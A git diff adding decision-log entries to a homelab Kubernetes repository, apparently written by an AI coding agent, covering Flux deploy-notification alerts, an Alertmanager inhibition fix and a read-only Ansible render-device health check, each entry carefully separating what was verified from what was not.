pinned toolbox. All 6 scenarios pass, including both guard tests and the convergence test that
|
||||||
|
proves the alert empties itself (the completion mail).
|
||||||
|
- Full gate in the pinned toolbox: `lint`, `l0`, `render-golden`, `l1`, `decisions-log`,
|
||||||
|
`spec-immutability` all **green** — `l0` includes `alert-metrics-have-scrape-targets`,
|
||||||
|
`alert-rules-unit-tested` and `alert-runbooks-resolvable`, i.e. the new owner entry, the new tests
|
||||||
|
and the new runbook all cleared their own checks. Coverage 51/51.
|
||||||
|
|
||||||
|
## What I did NOT verify
|
||||||
|
|
||||||
|
- **No mail has been sent.** Nothing here has run on the cluster: the metrics do not exist yet, the
|
||||||
|
rules are not loaded, and the `email-deploy` receiver has never delivered. The end-to-end claim
|
||||||
|
("a merge produces an `[FLUX] applying` mail and then an `[FLUX] applied` mail") is **UNVERIFIED**
|
||||||
|
and can only be proven by merging this and watching the *next* commit. Agents cannot apply, and
|
||||||
|
CI has no cluster (`vars.CLUSTER_AVAILABLE` unset → L2/L3 did not run).
|
||||||
|
- **The KSM custom-resource-state paths are asserted, not observed.** I verified the CRD storage
|
||||||
|
versions and that each status field is populated on the live objects, but I have not seen KSM emit
|
||||||
|
`kube_flux_*`. If a path is wrong KSM emits the metric with the label **omitted**, `revision!=""`
|
||||||
|
then drops the series, and the alerts go quiet rather than wrong — the safe direction, but the
|
||||||
|
first thing to check after merge:
|
||||||
|
`count by (__name__) ({__name__=~"kube_flux.*"})` must return **three** names.
|
||||||
|
- **KSM memory was not re-measured.** Limit is 384Mi against a working set of ~111–123Mi; this adds
|
||||||
|
two small informers (16 + 1 objects). 91 OOMKills followed the *last* CRS addition at a 128Mi
|
||||||
|
limit, so re-measure `max_over_time(container_memory_working_set_bytes{container="kube-state-metrics"}[6h])`
|
||||||
|
after this settles rather than assuming the headroom holds.
|
||||||
|
- **Alertmanager's `.Status` subject template is untested.** `[FLUX] applying|applied` relies on
|
||||||
|
`.Status` being `firing`/`resolved` in the notification template data. Wrong, and the mail still
|
||||||
|
arrives with a poorer subject — cosmetic, but unproven.
|
||||||
|
- **The `notification-controller` `Provider`/`Alert` half is designed but NOT shipped.** It was cut
|
||||||
|
deliberately: its unique value over the rules above is the human-readable **commit subject**
|
||||||
|
(`GitRepository`/`NewArtifact`, count 1 per commit, message `stored artifact for commit '<subject>'`,
|
||||||
|
revision in `source.toolkit.fluxcd.io/revision` metadata), and notification-controller has **no
|
||||||
|
SMTP provider**, so it must post into Alertmanager via `type: alertmanager` at
|
||||||
|
`http://kube-prometheus-stack-alertmanager.monitoring.svc:9093/api/v2/alerts`. I could not
|
||||||
|
establish **what label set that provider actually emits** (whether it sets `alertname`, and whether
|
||||||
|
`severity` is `info`) without applying it, and the `email-deploy` route matches on `severity`. So
|
||||||
|
the route design would have rested on a guess. Follow-up: apply it, read the resulting labels off
|
||||||
|
Alertmanager, then wire the route — and put it in its **own `wait: false` Flux Kustomization**
|
||||||
|
(never `platform` or `platform-config`, both `wait: true`), because a notification mechanism that
|
||||||
|
cannot go Ready must never be able to stall the delivery graph, which is the twice-shipped
|
||||||
|
cold-start deadlock this repo already documents.
|
||||||
|
- **The 2500-count drift loop is NOT fixed, and is not mine.** Five Kustomizations have been
|
||||||
|
re-applying the same object every 10 minutes for ~25 days: something outside git is mutating
|
||||||
|
`NetworkPolicy/{unifi,gitea,nextcloud,seerr}/default-deny` and
|
||||||
|
`CustomResourceDefinition/cdis.cdi.kubevirt.io` after Flux applies them. Cause **UNVERIFIED** —
|
||||||
|
I only measured the event counts. It is a real defect (constant write load on the API server and
|
||||||
|
etcd, on a cluster with a known etcd I/O problem on prod-1) and it deserves its own branch. The
|
||||||
|
alerts here are immune to it by construction: they read revisions, not events.
|
||||||
|
- **Branch protection / runner state re-measured? No.** The `gitea-settings` stage **SKIPPED**
|
||||||
|
(`SETTINGS_API_TOKEN` unset), so whether `main` is still protected and the gate still required is
|
||||||
|
UNVERIFIED by this run. The gate's overall verdict is therefore **rc 3, not rc 0** — every stage
|
||||||
|
that ran is green, and one stage did not run.
|
||||||
@@ -0,0 +1,95 @@
|
|||||||
|
---
|
||||||
|
date: 2026-09-30
|
||||||
|
branch: fix/flux-deploy-notification-inhibited
|
||||||
|
title: The deploy notification routed correctly and was then inhibited before sending — `severity: info` is a suppressed class in kube-prometheus-stack
|
||||||
|
---
|
||||||
|
|
||||||
|
## What changed
|
||||||
|
|
||||||
|
`FluxRolloutInProgress` (shipped hours earlier in PR #25) fired correctly on the very first real
|
||||||
|
deploy and **its mail was suppressed before Alertmanager sent it**. One label changed:
|
||||||
|
|
||||||
|
- `platform/monitoring/alerts.yaml` — `FluxRolloutInProgress` now carries `notification: deploy` and
|
||||||
|
**no `severity` label at all**, where it previously carried `severity: info`.
|
||||||
|
- `platform/monitoring/kube-prometheus-stack.yaml` — the deploy route matches
|
||||||
|
`notification = "deploy"` instead of `severity = "info"`. Receiver, subject and grouping unchanged.
|
||||||
|
- `platform/monitoring/tests/flux-rollout.test.yaml` — the three `FluxRolloutInProgress` `exp_labels`
|
||||||
|
blocks updated. `FluxRolloutStuck` keeps `severity: warning` and is unaffected.
|
||||||
|
|
||||||
|
**The mechanism, measured rather than reasoned about.** kube-prometheus-stack's `general.rules`
|
||||||
|
ships:
|
||||||
|
|
||||||
|
InfoInhibitor:
|
||||||
|
group by (namespace) (ALERTS{severity="info"} == 1)
|
||||||
|
unless on (namespace) group by (namespace)
|
||||||
|
(ALERTS{alertname!="InfoInhibitor", alertstate="firing", severity=~"warning|critical"} == 1)
|
||||||
|
|
||||||
|
which fires for any namespace holding a firing `severity="info"` alert **and nothing else wrong in
|
||||||
|
it**. The chart's third `inhibit_rule` then drops exactly that alert:
|
||||||
|
|
||||||
|
source_matchers: [alertname="InfoInhibitor"]
|
||||||
|
target_matchers: [severity="info"]
|
||||||
|
equal: [namespace]
|
||||||
|
|
||||||
|
For a deploy notification this is the worst possible interaction, because the suppressed case is the
|
||||||
|
*only* case that matters: on a healthy rollout of a healthy cluster, `flux-system` holds no warning
|
||||||
|
or critical alert, so `InfoInhibitor` fires and the deploy mail is inhibited. It would have been
|
||||||
|
delivered only when something else in `flux-system` was already broken.
|
||||||
|
|
||||||
|
Upstream's intent is explicit and reasonable — `severity: info` means "only worth showing next to a
|
||||||
|
real problem". A deploy notice is not that, so it must not claim that severity. `notification` is a
|
||||||
|
label **no** `inhibit_rule` in the chart targets (all three match on severity values), and dropping
|
||||||
|
`severity` also stops `InfoInhibitor` firing for `flux-system` at all rather than merely working
|
||||||
|
around it. Both files carry the full reasoning inline, and `alerts.yaml`'s design header now names
|
||||||
|
the severity label as a third thing that must not regress — "do not tidy this by adding a severity"
|
||||||
|
— because the next reader's instinct will be to add one back.
|
||||||
|
|
||||||
|
## What I verified
|
||||||
|
|
||||||
|
Against live prod, after PR #25 merged as `64c72fd` and Flux converged:
|
||||||
|
|
||||||
|
- **The metrics work.** `kube_flux_kustomization_info` 16, `kube_flux_kustomization_suspended` 16,
|
||||||
|
`kube_flux_gitrepository_info` 1 = **33 series, exactly as designed**. The `revision` label IS
|
||||||
|
populated (`main@sha1:296d6d3…` / `…64c72fd…`), so the `status.lastAppliedRevision` /
|
||||||
|
`status.artifact.revision` paths are correct — previously UNVERIFIED.
|
||||||
|
- **The `podAnnotations` roll mechanism works.** The KSM pod carries
|
||||||
|
`homelab.keithjackson.dev/crs-config-rollout: 1` and is a new pod
|
||||||
|
(`…-7b56d98f46-56n8j`, replacing the 2026-09-19 one), so the config-only-change trap was
|
||||||
|
genuinely closed rather than merely documented.
|
||||||
|
- **The rule works, in both directions.** It fired for **12** lagging Kustomizations while 4 had
|
||||||
|
converged (`count by (revision)` → 12 old / 4 new), each alert carrying its own `name` and
|
||||||
|
`revision`; then the rollout converged (`count(count by (revision) (…))` → **1**) and the alert
|
||||||
|
**cleared**. Firing and self-clearing are both confirmed on real data, which is the completion
|
||||||
|
notification's whole mechanism.
|
||||||
|
- **The routing works.** `amtool config routes` shows
|
||||||
|
`{notification="deploy"} → receiver: email-deploy` under the default route, and
|
||||||
|
`amtool config routes test notification=deploy` returns `email-deploy`.
|
||||||
|
- **The inhibition was real.** `InfoInhibitor` went active `2026-09-30T04:58:48Z` — the same moment
|
||||||
|
the alert began firing — and `amtool alert query` showed **no** `FluxRolloutInProgress` in
|
||||||
|
Alertmanager, active or `--inhibited`. `alertmanager_notifications_failed_total{integration=email}`
|
||||||
|
is 0 for every reason, so nothing failed to send; it was never dispatched.
|
||||||
|
- promtool: **SUCCESS**, 53 rules, 6 scenarios, promtool 3.14.0 in the pinned toolbox.
|
||||||
|
|
||||||
|
## What I did NOT verify
|
||||||
|
|
||||||
|
- **No deploy mail has been observed in the inbox — this fix is UNVERIFIED end to end.** The
|
||||||
|
suppression was proven (nothing in Alertmanager, zero send failures) and the routing was proven
|
||||||
|
(`amtool config routes test` → `email-deploy`), but the delivered message is not. It can only be
|
||||||
|
proven by merging this and watching the next commit produce `[FLUX] applying` and then
|
||||||
|
`[FLUX] applied`. Same structural gap as PR #25, one layer further along.
|
||||||
|
- **Whether the single email during the window was ours.**
|
||||||
|
`alertmanager_notifications_total{integration="email"}` went 226 → 227 while other alerts
|
||||||
|
(`Watchdog`, `CNPGPrimariesCoLocated`) were also active, and that counter carries no receiver
|
||||||
|
label, so the increment cannot be attributed. I am NOT claiming our mail was or was not sent — the
|
||||||
|
attribution is genuinely unavailable from this metric.
|
||||||
|
- **Whether `InfoInhibitor` interacts with `FluxRolloutStuck`.** Stuck is `severity: warning`;
|
||||||
|
inhibit_rule 1 (`critical` → `warning|info`) requires an equal `alertname`, so it should not
|
||||||
|
apply — reasoned, not measured. Worth confirming the first time a rollout genuinely hangs.
|
||||||
|
- **The `[FLUX] applying|applied` subject template** is still untested; `.Status` is assumed to be
|
||||||
|
`firing`/`resolved` in the notification template data.
|
||||||
|
- **`required_approvals` disagreement, unresolved and not mine to settle.** Live branch protection
|
||||||
|
reads `required_approvals: 1`, while the `ci/gate.sh` comment introduced by PR #17 describes the
|
||||||
|
model as `required_approvals: 0` ("the gate is the approver"). `ci/gitea-settings.sh` may report
|
||||||
|
this as drift against `infra/gitea/expected-branch-protection.json`. Flagged only.
|
||||||
|
- **The drift loop is still unexplained.** Five Kustomizations re-applying the same object every
|
||||||
|
10 minutes (event counts ~2500) — untouched, cause unknown, still deserves its own branch.
|
||||||
@@ -0,0 +1,283 @@
|
|||||||
|
---
|
||||||
|
date: 2026-09-30
|
||||||
|
branch: feat/node-health-render-device
|
||||||
|
title: The Intel render device is now self-re-measuring, not a fact someone checked once
|
||||||
|
---
|
||||||
|
|
||||||
|
## What changed
|
||||||
|
|
||||||
|
### Why this probe has value at all
|
||||||
|
|
||||||
|
**Nothing else in the platform would notice the device going missing.** Plex exposes no
|
||||||
|
ServiceMonitor, so no alert fires on a silent fall back to software transcoding. And the
|
||||||
|
manifest side mounts the device with `hostPath type: DirectoryOrCreate`, which means a node
|
||||||
|
*without* the device mounts an **empty directory** — Plex starts, runs, and degrades quietly
|
||||||
|
rather than failing loudly. There is no crash loop, no failed mount, no alert: just a hot CPU.
|
||||||
|
This check is the only thing in the system that would surface it, which is the actual
|
||||||
|
justification for the role carrying it.
|
||||||
|
|
||||||
|
### The change
|
||||||
|
|
||||||
|
`roles/node_health` grew a graphics / render-device probe. Nothing was installed, no module
|
||||||
|
was loaded, no group was changed, nothing was rebooted: the prod nodes already have a working
|
||||||
|
Intel render device (measured by hand on all three on 2026-09-30) and the point of this change
|
||||||
|
is that the measurement now **re-runs forever** instead of decaying silently in a handoff note.
|
||||||
|
|
||||||
|
The failure this exists to catch is silent by construction. Plex hardware-transcodes through
|
||||||
|
`/dev/dri/renderD128`; if that node stops existing — node rebuild, a BIOS change that disables
|
||||||
|
the onboard IGD, a kernel that binds a different DRM driver, a driver regression — Plex falls
|
||||||
|
back to software transcoding on its own and the only symptom is a hot CPU.
|
||||||
|
|
||||||
|
Four files:
|
||||||
|
|
||||||
|
- `files/node_health_collect.py` — new `collect_graphics()`, wired into the **unprivileged**
|
||||||
|
pass (`main()`). Everything it reads is world-readable: `lstat()` on `/dev/dri/*`,
|
||||||
|
`grp.getgrgid()` for the owning group name, the `/sys/class/drm/card*/device/driver` symlink
|
||||||
|
target for the bound driver, `/sys/bus/pci/devices/*/class` for display-class (PCI base class
|
||||||
|
`0x03`) devices whether or not a driver is bound, `/sys/class/drm/card*/engine/*` for the
|
||||||
|
`vcs*`/`vecs*` media engines, `/proc/modules`, `/proc/cmdline`, and
|
||||||
|
`/sys/module/{i915,xe}/parameters/enable_guc`. `lspci` and `vainfo` were added to the
|
||||||
|
existing tool probe; both are optional and neither is depended on.
|
||||||
|
- `tasks/assess.yml` — one shared derive task plus three checks: `graphics.render_device`
|
||||||
|
(PASS/FAIL/SKIP), `graphics.drm_driver` (PASS/WARN/FAIL/SKIP), `graphics.media_stack`
|
||||||
|
(INFO/SKIP).
|
||||||
|
- `defaults/main.yml` — `node_health_graphics_expected_driver: i915`, so the one comparison the
|
||||||
|
check makes is data rather than task logic.
|
||||||
|
- `templates/summary.txt.j2` — a `GRAPHICS / RENDER DEVICE` section, and
|
||||||
|
`roles/node_health/README.md` gained a section explaining the design and two new "known
|
||||||
|
limits".
|
||||||
|
|
||||||
|
Three design rulings worth stating, because each is the kind of thing a later edit would get
|
||||||
|
wrong:
|
||||||
|
|
||||||
|
1. **The render node's GID is reported, never asserted.** It read `root:render`, gid **992**,
|
||||||
|
mode `0660` on all three prod nodes. The check does *not* compare against `992`. `render` is
|
||||||
|
a **systemd dynamic** allocation (`systemd-sysusers`), not a Debian static gid from
|
||||||
|
`base-passwd`, so a rebuild can legitimately move it — and Plex's container entrypoint stats
|
||||||
|
the device and joins whichever group owns it, so drift genuinely is not a fault. The
|
||||||
|
observed group name and number appear in the detail line, which makes drift *visible*
|
||||||
|
without making it an error. A hard `!= 992` would be a false alarm waiting for a reinstall.
|
||||||
|
2. **The PCI scan is deliberately separate from the DRM scan.** `/sys/class/drm/card*` exists
|
||||||
|
only once a driver has *bound*, so a GPU with nothing attached has no `card0` and would
|
||||||
|
otherwise be indistinguishable from a machine with no GPU. Scanning the PCI bus separately
|
||||||
|
is what lets "no display device at all" be an honest **SKIP** (a VM guest — the same
|
||||||
|
convention `thermal.max` already uses for "no sensor on this hardware") while "a GPU is on
|
||||||
|
the bus and there is still no render node" is a **FAIL**.
|
||||||
|
3. **GuC/HuC and host VAAPI userspace are INFO and must stay INFO.** GuC/HuC off
|
||||||
|
(`i915.enable_guc=0`) is an accepted state here and costs low-power H.264 encode *quality*
|
||||||
|
only. No host `vainfo` is not a defect at all — Plex ships its own libva and media driver
|
||||||
|
inside its container. Grading either would put a permanent WARN on a chosen configuration,
|
||||||
|
or invite someone to `apt install vainfo` on a node to clear a health check, and this role
|
||||||
|
installs nothing.
|
||||||
|
|
||||||
|
`xe` bound instead of `i915` is a **WARN**, not a FAIL: the device still works, but the two
|
||||||
|
drivers do not share a userspace media stack. On these nodes `xe.ko.xz` exists on disk and is
|
||||||
|
bound to nothing.
|
||||||
|
|
||||||
|
## What I verified
|
||||||
|
|
||||||
|
### The real prod run (read-only, all three nodes)
|
||||||
|
|
||||||
|
`--list-hosts` first, every time. It named exactly three hosts and nothing else:
|
||||||
|
|
||||||
|
play #1 (k3s_prod): Inspect node hardware health (read-only)
|
||||||
|
pattern: ['k3s_prod']
|
||||||
|
hosts (3): k3s-prod-3 k3s-prod-2 k3s-prod-1
|
||||||
|
|
||||||
|
Then `--syntax-check` (rc 0), then the run:
|
||||||
|
|
||||||
|
ansible-playbook playbooks/node-health.yml -e node_health_hosts=k3s_prod --limit k3s_prod
|
||||||
|
|
||||||
|
k3s-prod-1 : ok=51 changed=3 unreachable=0 failed=0 skipped=1
|
||||||
|
k3s-prod-2 : ok=51 changed=2 unreachable=0 failed=0 skipped=1
|
||||||
|
k3s-prod-3 : ok=51 changed=2 unreachable=0 failed=0 skipped=1
|
||||||
|
PLAY rc=0
|
||||||
|
|
||||||
|
(The `changed=` counts are the *controller-side* artifact writes under
|
||||||
|
`infra/ansible/_artifacts/node-health/`, delegated to localhost. Nothing on any node changed —
|
||||||
|
the collector task is `changed_when: false` and the role touches nothing.)
|
||||||
|
|
||||||
|
All three nodes graded **PASS / PASS / INFO** on the new checks, 0 FAIL overall:
|
||||||
|
|
||||||
|
k3s-prod-1 VERDICT 0 FAIL · 1 WARN · 18 PASS · 2 SKIP · 6 INFO
|
||||||
|
k3s-prod-2 VERDICT 0 FAIL · 3 WARN · 15 PASS · 3 SKIP · 6 INFO
|
||||||
|
k3s-prod-3 VERDICT 0 FAIL · 2 WARN · 17 PASS · 2 SKIP · 6 INFO
|
||||||
|
|
||||||
|
[PASS] graphics.render_device — DRM render node present for hardware transcoding (/dev/dri/renderD*)
|
||||||
|
[PASS] graphics.drm_driver — DRM driver bound to the display device (expected i915)
|
||||||
|
[INFO] graphics.media_stack — Media engines, GuC/HuC firmware and host VAAPI userspace (informational)
|
||||||
|
|
||||||
|
(The pre-existing WARNs and SKIPs are other checks — SMART, memattr, resolvers — and are not
|
||||||
|
mine; none of them moved.)
|
||||||
|
|
||||||
|
The new report section, **byte-identical on all three nodes**:
|
||||||
|
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
GRAPHICS / RENDER DEVICE (the Plex hardware-transcoding path)
|
||||||
|
--------------------------------------------------------------------------------
|
||||||
|
pci 0000:00:02.0 00:02.0 VGA compatible controller [0300]: Intel Corporation CoffeeLake-S GT2 [UHD Graphics 630] [8086:3e98] (rev 02)
|
||||||
|
driver i915
|
||||||
|
drm card0 driver i915 at 0000:00:02.0 engines bcs0 rcs0 vcs0 vecs0
|
||||||
|
dev card0 character special mode 0660 root:video gid 44
|
||||||
|
dev renderD128 character special mode 0660 root:render gid 992
|
||||||
|
GuC/HuC NOT READ — /sys/module/i915/parameters/enable_guc is not
|
||||||
|
readable without root (i915 module parameters are mode 0400)
|
||||||
|
no i915/xe parameter on the kernel cmdline
|
||||||
|
modules amdgpu=false, i915=true, nouveau=false, nvidia=false, radeon=false, xe=false (/proc/modules — corroboration only; the bound-driver symlink above decides)
|
||||||
|
vainfo NOT installed on this host — not a defect: Plex ships its own libva/media driver inside its container
|
||||||
|
|
||||||
|
That reproduces every item of the 2026-09-30 hand measurement independently: `renderD128`
|
||||||
|
character special, `root:render`, **gid 992**, mode `0660`; `card0` `root:video` gid 44 mode
|
||||||
|
`0660`; `i915` bound; `xe` **not** loaded and bound to nothing; `[8086:3e98] (rev 02)`
|
||||||
|
CoffeeLake-S GT2 UHD Graphics 630 at `00:02.0`; `vcs0` and `vecs0` live; no host `vainfo`.
|
||||||
|
|
||||||
|
**One measured correction to my own phase-1 assumption:** `lspci` **is** present on all three
|
||||||
|
prod nodes (`/usr/bin/lspci` — Debian ships `pciutils` by default). I had written that it was
|
||||||
|
absent. It is still *treated* as optional, because `pciutils` is genuinely not declared in
|
||||||
|
`node_baseline_packages` and depending on an undeclared package would be wrong — but the
|
||||||
|
comments and README that asserted it was missing were factually wrong and are now corrected.
|
||||||
|
Its presence is why the `pci` line above carries a readable device name rather than bare IDs.
|
||||||
|
|
||||||
|
### The gate
|
||||||
|
|
||||||
|
DEV_KUBECONFIG=/dev/null ENGINE=<shim> ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
|
||||||
|
GATE rc=3
|
||||||
|
|
||||||
|
**rc 3 — UNDETERMINED. NOT green.** Nothing failed, and nothing is certified either. Exactly
|
||||||
|
three stages did not run, all three the known local ceiling from a worktree, and **no fourth
|
||||||
|
skip**:
|
||||||
|
|
||||||
|
[skip] spec-immutability spec repo not present at /work/../home-network-k3s (set SPEC_REPO)
|
||||||
|
[skip] gitea-settings SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule
|
||||||
|
[skip] conformance no cluster configured (CLUSTER_AVAILABLE!=true) — L2/L3 NOT RUN
|
||||||
|
|
||||||
|
[ ok ] decisions-log: pass [ ok ] lint: pass [ ok ] l0: pass
|
||||||
|
[ ok ] render-golden: pass [ ok ] l1: pass [ ok ] approval-policy: pass
|
||||||
|
|
||||||
|
Both CLAUDE.md §3 worktree workarounds were needed and both worked: `DEV_KUBECONFIG=/dev/null`
|
||||||
|
(the credential in the main checkout was **not** copied) and an `ENGINE` shim that bind-mounts
|
||||||
|
the main checkout's `.git` read-only. No `tracked_files()` traceback appeared, which is how I
|
||||||
|
know the shim took effect rather than the git stages silently degrading.
|
||||||
|
|
||||||
|
`ansible-lint` was **not** run, because **`ci/` does not invoke it anywhere** — I grepped
|
||||||
|
`ci/` and `.gitea/` and the lint stage is `yamllint -c ci/yamllint.yaml` only. I am not
|
||||||
|
claiming to have matched a lint convention that does not exist.
|
||||||
|
|
||||||
|
### The CI gate on the PR — a green tick that is exit 3, read from the log
|
||||||
|
|
||||||
|
The required context `gate / gate (pull_request)` reported **`success`, "Successful in 1m40s"**
|
||||||
|
on commit `a78f010`. That description matters: a *skipped* Gitea job reports `success` with
|
||||||
|
"Has been skipped", so this one genuinely ran, and 1m40s matches CLAUDE.md §2's ~1m35s.
|
||||||
|
|
||||||
|
**But the green tick does NOT mean `gate.sh` returned 0.** `.gitea/workflows/gate.yml:138` is
|
||||||
|
`run: ./ci/gate.sh || [ "$?" -eq 3 ]` — the job tolerates rc 3 by design. So I fetched the job
|
||||||
|
log (`/actions/runs/173/jobs/0/logs`; the `/api/v1/.../tasks/{id}/logs` endpoints 404 on this
|
||||||
|
Gitea, the web route serves it) and read the gate's own headline:
|
||||||
|
|
||||||
|
[fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
|
||||||
|
[fail] Stages that did not run: spec-immutability
|
||||||
|
|
||||||
|
**So CI is also rc 3, with exactly ONE stage skipped — `spec-immutability`.** The green Gitea
|
||||||
|
check is the tolerance swallowing that 3, not a rc 0.
|
||||||
|
|
||||||
|
**CI verified two things my local run could not, and both came back green:**
|
||||||
|
|
||||||
|
[ ok ] stage gitea-settings: pass
|
||||||
|
[ ok ] enable_push = false enable_status_check = true
|
||||||
|
[ ok ] required_approvals = 1 block_admin_merge_override = true
|
||||||
|
[ ok ] block_on_rejected_reviews = true dismiss_stale_approvals = true
|
||||||
|
[ ok ] runners online: 1 (>= 1)
|
||||||
|
[ ok ] Gitea settings match the declaration.
|
||||||
|
[ ok ] stage approval-policy: pass
|
||||||
|
[ ok ] no architecturally/security-relevant paths touched — the GATE is the approver.
|
||||||
|
|
||||||
|
My local run **skipped** `gitea-settings` (no `SETTINGS_API_TOKEN`) and could not give
|
||||||
|
`approval-policy` a PR number. CI has the secret and `REQUIRE_GITEA_SETTINGS: "true"`, so a skip
|
||||||
|
there would have failed the job. That is measured confirmation that the live Gitea matches
|
||||||
|
`infra/gitea/expected-branch-protection.json`, and that `infra/ansible/**` needs no human
|
||||||
|
reviewer. `lint` passed over 405 files. `conformance` SKIPPED in CI too
|
||||||
|
(`CLUSTER_AVAILABLE != true`), so L2/L3 remains unverified there as well.
|
||||||
|
|
||||||
|
Corroborated independently: `GET /repos/.../branches/main` →
|
||||||
|
`protected=true user_can_push=false enable_status_check=true required_approvals=1`,
|
||||||
|
contexts `["gate / gate (pull_request)"]`; `GET /admin/actions/runners` → `incluster-dind
|
||||||
|
status=online`. And note the commit's **combined** state is `pending`, not success, because
|
||||||
|
`gate / conformance (pull_request)` sits at "Blocked by required conditions" — that context is
|
||||||
|
not in the required list, so it does not block, but the PR is not "all green" either.
|
||||||
|
|
||||||
|
The gate's `lint` stage passed with one `line too long` **warning** on
|
||||||
|
`roles/node_health/tasks/assess.yml:189` — that is pre-existing, in the SMART block, well
|
||||||
|
above my insertion point, and warnings do not fail the stage.
|
||||||
|
|
||||||
|
### Offline work (before the lock was released)
|
||||||
|
|
||||||
|
- `python3 -m py_compile` on the collector: clean.
|
||||||
|
- `collect_graphics()` executed for real against this workstation's hardware (an unrelated
|
||||||
|
machine, Raptor Lake-S UHD Graphics + an NVIDIA discrete GPU) and returned the whole
|
||||||
|
structure with no exception, correctly reporting two cards, two render nodes, the bound
|
||||||
|
driver per card, the `vcs0/vcs1/vecs0` media engines, and `enable_guc` as *not readable
|
||||||
|
without root* rather than as a fabricated `0`.
|
||||||
|
- That last point is a real finding and changed the design: `/sys/module/i915/parameters/*` is
|
||||||
|
**mode 0400**, so an unprivileged pass cannot read `enable_guc`. It now reports
|
||||||
|
`NOT READ — <reason>` and `/proc/cmdline` is read as the world-readable second source. An
|
||||||
|
earlier draft would have silently reported a null.
|
||||||
|
- Two other bugs found and fixed by running it rather than reasoning about it:
|
||||||
|
`/dev/dri/by-path` is a **directory** and was being `lstat()`ed as a device; and
|
||||||
|
`/sys/class/drm` carries one entry per *connector* (`card0-HDMI-A-1`), which had to be
|
||||||
|
excluded from the card scan.
|
||||||
|
- All three checks and the new template section were rendered through a standalone Jinja
|
||||||
|
harness (Ansible is not on the host — CLAUDE.md §5) against **seven** fact sets: the real
|
||||||
|
workstation; GPU present with the render node removed; no display device at all; `xe` bound
|
||||||
|
in place of `i915`; a display device with **no** driver bound; `renderD128` present but not a
|
||||||
|
character device; and a shape with neither `lspci` nor `vainfo`. Zero template errors, and
|
||||||
|
the statuses came out as designed — `FAIL/PASS/INFO`, `SKIP/SKIP/SKIP`, `PASS/WARN/INFO`,
|
||||||
|
`FAIL/FAIL/INFO`, `FAIL/PASS/INFO` respectively. The harness supplies stand-ins for the
|
||||||
|
Ansible-only filters (`bool`, `dict2items`, `flatten`, `zip`, `regex_replace`) and matches
|
||||||
|
Ansible's `trim_blocks=True`.
|
||||||
|
**Read that for exactly what it is: evidence that the LOGIC is right, and no evidence
|
||||||
|
whatsoever that the HARDWARE DETECTION is.** Six of those seven fact sets were hand-mutated
|
||||||
|
dictionaries, not machines. They are not hardware tests and must not be written up as if
|
||||||
|
they were.
|
||||||
|
|
||||||
|
## What I did NOT verify
|
||||||
|
|
||||||
|
- **The FAIL path has never fired on a real node.** Every prod node has a working render
|
||||||
|
device, and this role is read-only, so a device cannot be taken away to prove the check
|
||||||
|
catches its absence. The failure branches were exercised against **synthetic fact sets
|
||||||
|
only** (see above). I am not claiming the failure path is tested against hardware.
|
||||||
|
- **`xe` detection is likewise untested against reality.** No node here has `xe` bound — the
|
||||||
|
module exists on disk as `xe.ko.xz` and is bound to nothing — so the WARN branch was only
|
||||||
|
ever driven by a mutated fact set. If `xe` ever does bind, the *shape* of
|
||||||
|
`/sys/class/drm/card*` under it is something I have assumed matches i915's (same
|
||||||
|
`device/driver` symlink, same `engine/*` directories). That assumption is unverified.
|
||||||
|
- **The media-engine sysfs path is confirmed on these nodes but not proven portable.**
|
||||||
|
`vcs0`/`vecs0` were read from `/sys/class/drm/card0/engine/*` on all three prod nodes, so it
|
||||||
|
is measured here. I did **not** confirm against kernel source that no other kernel version or
|
||||||
|
driver publishes engines elsewhere. If one does, the check reports "none exposed" — an INFO
|
||||||
|
line, not a false verdict, which is why this failure mode is tolerable.
|
||||||
|
- **`enable_guc` is still unread on prod.** The report says `NOT READ — mode 0400`, which is
|
||||||
|
honest but means I have **not** confirmed by measurement that GuC/HuC is off on these nodes;
|
||||||
|
I only know the kernel cmdline carries no `i915.enable_guc=` override. The brief's ground
|
||||||
|
truth says `i915.enable_guc=0`; my check does not corroborate that value, it declines to
|
||||||
|
guess it. Reading it would need root, and it is INFO either way, so I left it alone.
|
||||||
|
- **Not a transcode test.** These checks prove the render *device* exists, is a character
|
||||||
|
device, and which driver owns it. They do **not** prove a transcode succeeds — that needs a
|
||||||
|
VAAPI round trip inside Plex's own container with Plex's own libva, and is out of scope for a
|
||||||
|
node-level check that installs nothing.
|
||||||
|
- **Greenness was never established, locally or in CI.** Both runs returned **rc 3**. My local
|
||||||
|
run skipped three stages (`spec-immutability`, `gitea-settings`, `conformance`); CI skipped
|
||||||
|
one (`spec-immutability`) and its own headline says `MERGE GATE: UNDETERMINED`. **I am not
|
||||||
|
describing this PR as green**, and the green Gitea tick must not be read as one: the workflow
|
||||||
|
line is `./ci/gate.sh || [ "$?" -eq 3 ]`, so it is a tolerated 3.
|
||||||
|
- **L2/L3 conformance did not run anywhere** — `CLUSTER_AVAILABLE != true` in both. Whatever
|
||||||
|
runtime requirements this touches remain UNVERIFIED; only the L0/L1 offline subset passed.
|
||||||
|
- **`spec-immutability` ran in neither.** The sibling spec repo is checked out in neither my
|
||||||
|
worktree nor the CI workspace, so nothing confirms this change does not drift from the spec.
|
||||||
|
It is the expected, tolerated skip — but it is still a skip, not a pass.
|
||||||
|
- **No claim about the live platform beyond what was printed.** Per CLAUDE.md §2b this repo is
|
||||||
|
not evidence about prod; the only prod facts I assert are the ones quoted verbatim above.
|
||||||
|
Branch protection and runner state I did query directly, and the CI `gitea-settings` stage
|
||||||
|
passed — so those two I assert on measurement, not on this file's prose.
|
||||||
|
- **The stale dev inventory was left alone deliberately.** `hosts.ini` still defines the
|
||||||
|
`k3s-dev-*` groups as the default target of most playbooks and the dev cluster no longer
|
||||||
|
exists. That is real, it is out of this change's scope, and it is unclaimed work.
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
b16e8cb7ea12720bc7c3a77a496211e3204534c5e6600ba748fb9ab14fa21c26 DECISIONS-LOG.md
|
||||||
@@ -0,0 +1,101 @@
|
|||||||
|
# `decisions/` — the handoff log, one file per entry
|
||||||
|
|
||||||
|
This directory **is** the decision log. `../DECISIONS-LOG.md` is the frozen archive of
|
||||||
|
everything written before 2026-09-29 and is never edited again (see "The archive is
|
||||||
|
frozen" below).
|
||||||
|
|
||||||
|
## Why this exists
|
||||||
|
|
||||||
|
`DECISIONS-LOG.md` was append-only in a single file, and every agent appended to its
|
||||||
|
